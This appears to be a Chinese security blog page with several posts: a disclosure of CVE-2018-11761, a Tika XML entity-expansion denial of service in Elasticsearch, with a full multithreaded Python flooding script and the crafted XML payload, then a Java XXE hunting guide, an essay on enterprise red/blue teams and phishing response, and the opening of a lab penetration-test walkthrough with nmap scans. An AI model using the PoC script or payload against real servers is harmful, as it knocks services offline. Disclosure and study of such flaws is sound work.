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漏洞挖掘

Apache Tika Denial of Service Vulnerability (CVE-2018-11761)

Summary

In a recent research on Apache Tika, I found a DOS (Denial of Service) vulnerability existed on its XML parser. It is caused that the parser improperly parses XML document.

Affected Version

  • Tested on ElasticSearch 6.3.1 (using Tika 1.18) and 6.2.3 (using Tika 1.17)

Analysis

As we know, the core ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by using the Apache text extraction library Tika. So, let’s take a look at the source code of ingest attachment plugin. 

/** subset of parsers for types we support */
private static final Parser PARSERS[] = new Parser[] {
    // documents
    new org.apache.tika.parser.html.HtmlParser(),
    new org.apache.tika.parser.rtf.RTFParser(),
    new org.apache.tika.parser.pdf.PDFParser(),
    new org.apache.tika.parser.txt.TXTParser(),
    new org.apache.tika.parser.microsoft.OfficeParser(),
    new org.apache.tika.parser.microsoft.OldExcelParser(),
    ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES),
    new org.apache.tika.parser.odf.OpenDocumentParser(),
    new org.apache.tika.parser.iwork.IWorkPackageParser(),
    new org.apache.tika.parser.xml.DcXMLParser(),
    new org.apache.tika.parser.epub.EpubParser(),
};

Actually, the plugin uses org.apache.tika.parser.xml.DcXMLParser() as a parser to extract contents from a XML file. Upon further investigation, we can see the following invocations: 

public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }
 
    return factory;
}

In the function above, we can see very limited security restrictions for SAXParserFactory.newInstance() object: 

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

According Oracle’s explanation, when XMLConstants.FEATURE_SECURE_PROCESSING is enabled, it instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.

But, actually it’s unable to completely prevent against XML Entity Expansion. An attacker still can send crafted XML document to the ES server to do DoS attack via XML Entity Expansion vulnerability as mentioned in the section Proof of Concept. I checked Apache Tika source code that they only enable XMLConstants.FEATURE_SECURE_PROCESSING feature, which they could think it can protect from this type of attack per this article since it limits the number of entity expansions to 64,000 by default. But actually, we can still leverage these 64,000 entity expansions to generate an amplification XML object in memory, e.g. the file size of ES_XML.xml in the POC is only around 64KB, but once it is uploaded to the backend Tika server on ES server, Tika will have to allocate at least 6MB memory (6MB / 64KB = 100 times) to parse it, which leads to CPU utilization increasing rapidly.

Therefore, from my understanding, one possible fix could be, to set the following system property would greatly limit the impact as per the Oracle document: 

jdk.xml.entityExpansionLimit=1

Proof of Concept

The following demonstration is tested and verified on ElasticSearch 6.3.1 which is using Tika 1.18:

  • Create a POC script and save as poc_dos_es.py. 
# Title: ElasticSearch Ingest Attachment Plugin DOS vulnerability
# Author: avfisher
# Affected version: Tested on ES 6.3.1 and ES 6.2.3 (but all versions could be impacted as well)
# Time: 2018-07-23
# Example: 
# python poc_dos_es.py 127.0.0.1 9200 ES_XML.xml 5

import requests
import sys
import base64
import json
import threading
import sys


headers = {"Content-Type" : "application/json"}


class ExploitThread(threading.Thread):
    def __init__(self, es_ip, es_port, mal_xml_file, thread_index):
        threading.Thread.__init__(self)
        self.es_ip = es_ip
        self.es_port = es_port
        self.mal_xml_file = mal_xml_file
        self.thread_index = thread_index
        self.num = 1

    def create_ingest_att_pipeline(self, url):
        pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
        data = {
            "description" : "Extract attachment information",
            "processors" : [{
                "attachment" : {
                    "field" : "data",
                    "indexed_chars": "-1"
                }
            }]
        }
        res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

    def send_payload(self, url, payload):
        ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
        data = {
            "data": payload
        }
        res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
        print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

    def verify_mal_doc(self, url):
        ingest_url = "{}/my_index/_doc/1".format(url)
        res = requests.get(ingest_url, headers=headers)
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))

    def run(self):
        url = "http://{}:{}".format(self.es_ip, self.es_port)
        
        with open(self.mal_xml_file, 'rb') as f:
            content = base64.b64encode(f.read())
        
        self.create_ingest_att_pipeline(url)
        while True:
            print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
            self.send_payload(url, content)
            self.num += 1
            #self.verify_mal_doc(url)


if __name__ == "__main__":
    # ES server's IP, Port
    es_ip = sys.argv[1] 
    es_port = sys.argv[2]
    # Crafted XML file
    mal_xml_file = sys.argv[3]
    # Number of Processes
    thread_num = int(sys.argv[4])   
    for i in range(thread_num):
        i += 1
        t = ExploitThread(es_ip, es_port, mal_xml_file, i)
        t.start()

  • Create a crafted XML document and save as ES_XML.xml. 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "1234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900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00000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>

  • Run the script to send requests to an ES server. 
python poc_dos_es.py [ES IP Address] [ES Port] ES_XML.xml [Thread Number]
  • Then, the CPU utilization will increase rapidly and obviously.

Conclusion

This vulnerability is actually caused by Apache Tika XML Parser implementation. Meanwhile, I think all of services which are using Tika to parse XML file should be impacted as well.

Timeline

  • 2018-07-25: Reported to Apache Security and Elastic Product Security team.
  • 2018-07-26: Received acknowledgement and confirmation from Apache Tika PMC.
  • 2018-07-27: Received acknowledgement from Elastic Product Security.
  • 2018-09-19: Received CVE-2018-11761 announcement from Apache Tika team and confirmed the issue was fixed in Apache Tika 1.19 or later
  • 2018-11-27: Elastic Product Security team confirmed ElasticSearch 6.4.3 fixed the issue.

References

漏洞挖掘

How to Hunt for XXE Vulnerability for Applications Built by Java

Reference

Keywords

DocumentBuilderFactory

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

XPathExpression

DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();			
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );

SAXParserFactory / Unmarshaller

SAXParserFactory spf = SAXParserFactory.newInstance();
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);

XMLInputFactory

XMLInputFactory xif = XMLInputFactory.newFactory();
XMLInputFactory xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);

TransformerFactory

TransformerFactory tf = TransformerFactory.newInstance();

Validator

SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();

SchemaFactory

SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema(Source);

SAXTransformerFactory

SAXTransformerFactory sf = SAXTransformerFactory.newInstance();
sf.newXMLFilter(Source);

XMLReader

XMLReader reader = XMLReaderFactory.createXMLReader();

SAXReader

SAXBuilder

SAXBuilder builder = new SAXBuilder();
Document doc = builder.build(new File(fileName));

Highlight

If you find any keywords listed above and no any properties set to prevent again XXE, it could exist XXE Vulnerability potentially. You just need to check the invocation chain, you may be able to create a POC very easily.

Acknowledgement

安全建设

甲方安全建设的一些思路和思考

0x00 前言

本文主要是介绍一下笔者对于甲方安全能力建设的一些经验，心得和零散的思考。需要特别强调的是不同企业的实际情况不尽相同，本文仅供参考，不具普遍意义。

0x01 Red Teaming

近几年随着Red Team建设的话题越来越流行，不管是甲方或者乙方都在极力的发展自己的Red Teaming能力，尤其是各个乙方都推出了自己的Red Team的服务，如：FireEye(https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/pf/ms/ds-red-team-for-security-operations.pdf)，但是最终目的都是为甲方输出检验企业的Detection和Response的能力，找到防御弱点进而优化防御系统和流程。

我们不禁要思考一下，到底什么样的企业才真的需要Red Team？当然，输出安全能力和服务的乙方不在讨论范围内，因为其最终是为了服务和支持甲方。根据我的观察和发现，目前大部分人很容易把Red Team和Penetration Testing弄混或者干脆混为一谈。其实二者有共同点但也有本质上的不同，简单做个比喻就是忍者(隐秘，快速，准确，一击即中)和海盗（强壮，贪婪，可以刚正面，一波高地）的区别，各有侧重和优劣，但侧重点不同，比如，Red Team类似忍者，侧重于精心准备（如：社会工程学等）收集信息进而绕过现有的防御体系（类似于APT）来检验防御和检测能力；而Penetration Testing则如同海盗，侧重于尽可能多地发现应用，系统，网络，设备等的漏洞，并利用其发现更深层或者复杂的漏洞从而来评估风险。所以，答案显而易见，一个企业只有拥有了基本的防御和检测的能力，并需要持续检测和改善这种能力时，Red Team就是很好地选择了。

那么，什么样的Red Team才算合格和有效呢？如前面所说，Red Team如同忍者去做暗杀，既然暗杀那么就需要一个详细的计划，如：目标是什么（暗杀对方头目），手段是什么（前期侦查对方大本营，守卫布局，对方头目的日常习惯和出现的场所，会不会功夫等），如何去执行（选择某个夜黑风高的晚上，众人都准备或者已经睡觉的时候，摸进对方大本营，提前隐藏在对方头目习惯出现的场所，等待其出现，再一刀毙命）。对应到Red Team就是，

1）设置好这次行动目的是模拟偷取公司的客户资料；

2）提前做好侦查看看公司都可能有哪些人会碰到这类数据，有哪些防御检测方式（如：反病毒，入侵检测，流量分析）；

3）针对可能接触数据的人员做定向钓鱼攻击或者面对面的社工，安装专门制作的绕杀软的工具，利用常见的社交或者云存储网站来做C2，等待时机控制机器，获取必要的用户凭证，盗取客户资料，销毁痕迹，最终走人。

因此，一个合格的Red Team，需要具备模拟攻击者入侵的各种能力，手段以及假想的目的。想要具备这种能力的一个最简单有效的方法，就是从现有的真实世界里发生的APT攻击活动中抽取TTP来模拟真实的threat actors，分类并总结他们曾今采用的手段，方法，技术和工具，然后加以优化和改进，最终结合每个Red Team活动的假想目的来模拟不同APT组织对于公司的入侵，以此来检测已有的防御和响应体系是否有效。

0x02 Blue Teaming

我们在说Blue Team时，通常是指在一个企业里负责入侵检测和应急响应的团队的统称，一般情况下（尤其是规模较大的企业）会至少细分为以下几个团队：

  • Threat Hunting（入侵检测）：主要负责根据已知威胁的TTP（如APT活动）和根据常见入侵活动的行为特征（如批量端口扫描，同一系统账户的短时多次尝试登录，office软件进程的可疑子进程的派生等等）来开发入侵检测规则，或者利用机器学习，深度学习等更高级的数据挖掘技术来研究和分析威胁特征；
  • Incident Response（应急响应）：主要负责处理和调查企业的安全事件（如：外部应用系统被入侵，内网主机被入侵，以及由Threat Hunting的规则触发的各类入侵报警等）以及从真实的安全事件中来分析和提取自产的IOC以及最新的威胁特征；
  • Vulnerability Management（漏洞管理）：主要负责对企业所有资产（包括应用和原代码）的持续漏洞扫描，追踪，修复以及管理；
  • Threat Intelligence（威胁情报）：主要负责追踪和分析外部已知APT活动，地下黑市和深网或暗网里的各种威胁情报信息，并加以分类总结成TTP以及IOC提供给其他团队加以利用和深层分析（如前面提到的Threat Hunting，以及Red Team）。

而且这些子团队都不是独立工作的，其之间都是相互配合和支持的。我们可以举个常见的例子来加以解释一下，比如threat hunting可能会通过已知的规则发现了一个可能的入侵行为；接着incident response迅速跟进进行流量、日志或者取证的分析发现了之前未被识别的威胁特征；然后threat hunting基于该特征开发最新的检测规则，threat intelligence以此进行情报梳理和比对并最终发现这是某个最近比较活跃的APT组织的活动，随后搜集相关TTP反馈给threat hunting；最后，vulnerability management团队扫描企业所有可能存在弱点和受影响资产，追踪和修复。

综上可见，Blue Team不是gank选手，而是讲究的团队合作和相互配合的团战协作，合理的利用和集合各个子团队的优势便可以大大提高入侵检测的准确性和应急响应的快速性。

0x03 应急响应

在开始之前，先谈谈我个人理解的应急响应是什么？顾名思义就是对企业发生的安全事件作出快速应对和及时响应从而减少由于安全事件造成的影响。

一般情况下，任何安全事件的应急响应都可以分为以下几个阶段：

1）Assessment（评估）：主要是初步梳理安全事件产生的原因和评估潜在影响范围；

2）Containment（控制）：这个阶段主要是快速找到止损/减轻方案（或者是临时应对措施）将事件影响尽可能控制在最小范围内；

3）Eradication（消除）：这个阶段是要找到安全事件产生的根本原因并提出和实施根治方案；

4）Recovery（恢复）：主要是确保所有受影响的系统或者服务完全恢复到安全状态；

5）Review（总结和审查）：这是每个应急响应的最后阶段主要是总结和梳理安全事件处理和响应的整个时间线和应对方案，学习和审查安全事件产生的根本原因并生成知识库以便以后遇到同类安全事件可以快速地找到处理和应对的方法。

为了便于大家更好地理解怎么运用以上这些步骤来帮助我们做好应急响应，以下我以一个企业经常会碰到的钓鱼邮件为案例。比如，我们的企业员工上报了一封钓鱼邮件，那么作为应急响应团队应该怎么做？我们都知道钓鱼邮件是入侵者（APT组织）攻击大型企业的最直接有效的方法。当我们的应急响应人员遇到这样的攻击试图时，

第一步，我们要初步分析钓鱼邮件的攻击方法，通常有以下两种。分析了攻击方法，我们就需要评估影响，比如，哪些人收到了该邮件，哪些人可能访问了恶意链接，哪些人下载了恶意文件，哪些人执行了恶意文件，哪些数据可能受到影响等等；

  • Credential Harvesting：设置一个伪造的邮箱或者系统登录界面（如发送一个诱饵链接或者在邮件里嵌入一个html页面）来盗取有效的用户名和密码；
  • Malware：一般包括两种方式，一是通过附件直接发送恶意文件，二是通过发送链接来诱骗用户点击下载恶意文件。

第二步，实施控制措施或者减轻方案，如针对通过链接来偷取用户名和密码或者下载第一阶段的恶意文件的域名我们可以实施DNS sinkhole（详情可以参照：https://en.m.wikipedia.org/wiki/DNS_sinkhole），对于利用附件直接发送恶意文件的情况我们可以通过静态或者动态沙箱（例如cuckoo，virustotal等）来分析恶意文件的行为并抽取IOC（可能是后续阶段C2的域名或者IP，亦或者是执行的子命令）实施DNS sinkhole，防火墙IP黑名单，或者终端防安全防护软件添加行为识别特征或者文件hash黑名单等等措施；

第三步，当恶意行为被有效控制后，我们便需要实施清除活动，如：清除所有收到的恶意邮件，对访问过恶意链接并且可能潜在泄露过用户名和密码的用户进行账号重置，对于下载执行过恶意文件或者访问过后续阶段的域名或者IP的用户电脑进行重装等等；

第四步，这个阶段我们需要确保我们在第三步中的所有清除活动按照预期完成，并且所有用户和系统恢复正常使用；

第五步，当一切恢复正常，我们需要对这次的钓鱼邮件事件做复盘分析，如：为什么我们的邮件安全网关没有检测到和拦截这个钓鱼邮件？为什么我们的员工会点击这些钓鱼邮件？我们的防御和检测的漏洞在哪？下次再发生类似事件我们应该怎么办？等这些问题都找到对应的答案了我们则需要录入应急响应知识库以备后用。

综上，一个有效的应急响应是需要一个相对完整的流程来保证，如此一来便可以保证应急时不慌乱有条理且快速有效。

0x04 内网入侵检测与防御

本章节将依据我个人的一些工作经验和思考分别从平台搭建，工具配置，入侵调查与分析三个方面来聊聊企业的内网入侵检测和防御的建设思路。

一、平台篇

通常来说，一个企业要想做好内网检测和防御，首先要解决的问题就是感知能力，这就好比是人的五官要可以感知到周遭环境的变化，那么反映到安全平台上我们就需要一个统一的日志收集和分析平台。那么需要收集哪些日志呢？是所有的都收集吗？还是有选择性地收集？又如何来确定优先级呢？其实日志的收集切忌盲目全收，否则就会浪费了大量的人力物力财力到头来搜集了一堆日志却不知道如何使用。最好是结合应用场景来制定优先级，循序渐进。举个例子，比如当我们的一个应用场景是检测办公网中的入侵行为，我们需要解决的核心问题其实就是谁在什么时间什么机器上运行了什么进程做了什么操作。分解一下这个问题，首先我们需要有日志能帮我们定位每个内网用户，如：DHCP，DNS，Kerberos Tickets（AD认证），Windows Event Logs，Antivirus等；接着我们想要知道什么时间什么机器上运行了什么，如：主机进程树和网络连接日志（即：Event Tracing for Windows）等；最后我们需要知道做了什么操作（网络行为等），如：网络设备出口流量，Web网关日志（HTTP流量），IDS日志，WiFi日志，邮件网关日志等等。这样，我们就能有针对性地收集我们当下最需要的日志并可以利用这种方法来逐步扩大日志收集的种类。

有了统一的日志收集平台，接下来我们便需要一个持续的威胁检测平台其主要作用就是编写各种检测规则和机器学习模型来对所有收集到的日志进行匹配检查以保证之前的已知威胁不会被忽略。

接着，我们需要一个IOC检测平台，其主要作用是用来对外部情报信息或者内部自产的情报信息进行实时匹配和报警以确保当前所有的已知威胁能被检测出来。

最后，我们还需要一个内部威胁追踪和记录平台，其主要作用是用于流程化和规范化地记录和总结所有以往发生的入侵事件的调查过程和分析结果以便于日后查询和关联分析。

总之，安全平台建设是企业内网入侵检测和防御的基础，只有搭建了这些基础平台，才能谈后续的工具配置和入侵分析与调查。

二、工具篇

在上一篇中我们聊到安全平台建设是企业内网入侵检测和防御的基础，在这个基础之上今天我们来聊聊工具配置。简而言之，就是有了感知能力，需要哪些工具来帮助我们分析和调查入侵，所谓工欲善其事必先利其器。

一般来说，最常见的入侵内网的手法就是钓鱼邮件和社工，而其中以钓鱼邮件最为典型，因此做好钓鱼邮件的防范是最为简单有效的防御内网入侵的方法。我之前曾提到过钓鱼邮件的常见手法，

  • 发送链接模拟邮箱或者内部系统登陆界面收集企业员工的账号密码；
  • 发送链接诱导员工点击下载恶意的office文档；
  • 直接发送恶意的office文档或者PE文件或者恶意程序的压缩包作为附件并诱导员工打开。

针对以上几种手法，我们至少准备以下几类工具来辅助分析。
第一类，域名与IP检测工具：

  • https://centralops.net/co/DomainDossier.aspx?dom_whois=1&net_whois=1&dom_dns=1
  • https://www.threatcrowd.org/
  • https://www.threatminer.org/
  • https://www.virustotal.com/en/
  • https://www.talosintelligence.com/
  • https://login.opendns.com/
  • https://www.alexa.com/siteinfo
  • https://x.threatbook.cn/en
  • https://checkphish.ai/domain/avfisher.win

第二类，URL检测工具：

  • https://urlscan.io/
  • https://sitecheck.sucuri.net/results/pool.cortins.tk
  • https://quttera.com/
  • https://www.virustotal.com/en/
  • https://checkphish.ai/

第三类，TOR节点检测工具：

  • https://www.dan.me.uk/torcheck
  • https://exonerator.torproject.org/
  • https://ipduh.com/ip/tor-exit/
  • https://torstatus.blutmagie.de/

第四类，在线恶意程序或文档检测工具：

  • https://www.virustotal.com/en/
  • https://malwr.com/
  • http://camas.comodo.com/
  • https://x.threatbook.cn/en
  • https://www.reverse.it/
  • http://www.threatexpert.com/submit.aspx
  • https://www.vicheck.ca/
  • https://virusshare.com/
  • https://malshare.com/
  • https://github.com/ytisf/theZoo

第五类，动态恶意程序或文档分析工具：

  • Cuckoo: https://github.com/cuckoosandbox/cuckoo
  • Regshot: https://sourceforge.net/projects/regshot/
  • Process Hacker: http://processhacker.sourceforge.net/
  • Process Monitor: https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx
  • ProcDOT: https://www.cert.at/downloads/software/procdot_en.html
  • WinDump: https://www.winpcap.org/windump/
  • Graphviz: http://www.graphviz.org/Download..php
  • Capture-BAT: https://www.honeynet.org/node/315 (x86 environment only)
  • Fakenet: https://sourceforge.net/projects/fakenet/
  • Wireshark: https://www.wireshark.org/#download

第六类，邮件检测工具：

  • http://spf.myisp.ch/

第七类，Google搜索，这也是最简单暴力但却十分有效的工具之一。

在分析内网入侵时合理地使用以上这些工具往往会有事半功倍的效果。另外，作为一个入侵分析和响应工程师切忌在没有网络隔离的情况下在办公电脑上直接访问可疑链接或者分析恶意样本文件。

三、分析篇

在前两篇中，我们分别谈到了企业内网入侵检测和防御所需要的安全平台建设和工具配置，有了这些基础我们便来聊聊如何运用这些已有的平台和工具来分析真实的内网入侵事件。

为了更好的说明这个问题，我将仍以最常见的利用钓鱼邮件入侵企业员工电脑并进而入侵内网为例来说明如何分析这类的入侵事件。为了能够检测和分析这类入侵事件，我们需要有能力获得最原始的钓鱼邮件，这就需要我们从至少以下几个途径来获取：

  • 企业员工主动提交可疑的钓鱼邮件，这就需要员工具备一定的安全意识（安全意识培训的重要性），以及统一的可疑邮件提交平台（需要开发成本）
  • 邮件安全网关，如：Ironport，FireEye Email Security等
  • IOC检测平台，及时检测已知的恶意域名或者IP，可疑的发件人，恶意附件等

当我们拿到了原始的钓鱼邮件，首先需要确保将其转化成EML文本格式（可用工具https://github.com/mvz/msgconvert），接着，我们至少需要从以下几个方面来分析：

1）原始邮件头，包括：From, envelope-from, SPF, client-ip等;
1.1）可以通过dig命令，如：dig -t txt baidu.com，来检查邮件是否被spoof了;
1.2）对比From和envelope-from是否一致，也是一个判断是否为恶意邮件的有效方法.
2）原始邮件正文，包括：域名／IP，URL，附件等;
2.1）域名/IP和URL的分析可以使用工具篇里提到的相应工具来分析，判断是否存在multi-stage C&C;
2.2）附件的分析也可以使用工具篇里提到的在线／本地恶意程序分析沙箱或者自行逆向分析，进而了解恶意程序的执行逻辑以及对应的IOC(域名，URL，文件，注册表键值，执行的系统命令等);
2.3）利用日志分析平台，查询恶意域名的DNS或者HTTP(S)流量日志，结合主机EDR（Endpoint Detection and Response）终端日志将DNS请求关联到相应的主机进程，如：ETW for Windows，BCC/eBPF for Linux等;
2.4）查询触发恶意域名的DNS请求的主机进程的整个进程树，分析malware完整的执行链，例如：outlook.exe -> winword.exe -> cmd.exe -> powershell.exe;
2.5）查询所有触发了上述执行链的受感染主机，并重复2.4）的步骤直到没有新的执行链被发现为止.

在分析完了以上这些，我们就可以添加对应的防御和检测措施了，例如：

1）通过应急响应章节中提到的DNS Sinkhole来阻断所有恶意域名的DNS请求;
2）确保终端反病毒程序可以检测并清理每个阶段的恶意文件;
3）添加防火墙规则来阻止内网主机对恶意IP地址的访问;
4）隔离重装已经感染的主机进行;
5）重置受感染内网用户的登录凭证;
6）删除所有企业用户收到的来自同一恶意发送者的邮件;
7）将分析得出的IOC添加到IOC检测平台;
8）依据已发现的Malware执行链添加新的入侵检测规则.

至此，我已简单地介绍了一个相对完整的针对利用钓鱼邮件入侵企业员工电脑并进而入侵内网的入侵事件的分析和防御的方法与流程。

渗透测试

渗透测试学习笔记之综合渗透案例一

0x00 前言

《渗透测试学习笔记》系列文章之前已经发了好几篇了，但是都是属于单点突破系列，意在撕开一张口子为下一阶段的持续渗透做准备。今天这篇文章略有不同，笔者将试图呈现一个完整的内网渗透过程。文章略长，如果感兴趣的话，请耐心阅读！

0x01 案例分析

实验环境：

  • 目标环境：10.0.0.0/24, 10.0.1.0/24
  • 攻击主机：10.0.0.5 (Kali), 10.0.0.7 (Windows)

渗透过程：

基本的主机探测： 

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt
root@kali:~# cat online.txt | grep -i up
Host: 10.0.0.1 ()    Status: Up
Host: 10.0.0.2 ()    Status: Up
Host: 10.0.0.7 ()	Status: Up
Host: 10.0.0.9 ()	Status: Up
Host: 10.0.0.11 ()	Status: Up
Host: 10.0.0.5 ()	Status: Up
# Nmap done at Wed May 30 06:10:17 2018 -- 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意选取其中的一个online的IP（如：10.0.0.9）进一步探测： 

root@kali:~# nmap -sV -A -O 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00048s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Monitor
| Not valid before: 2018-05-27T07:03:14
|_Not valid after:  2018-11-26T07:03:14
|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC
49159/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
...

Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 4s
|_nbstat: NetBIOS name: MONITOR, NetBIOS user: <unknown>, NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)
| smb-os-discovery:
|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: Monitor
|   NetBIOS computer name: MONITOR\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2018-05-30T06:14:01+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-05-30 06:14:01
|_  start_date: 2018-05-30 04:32:09

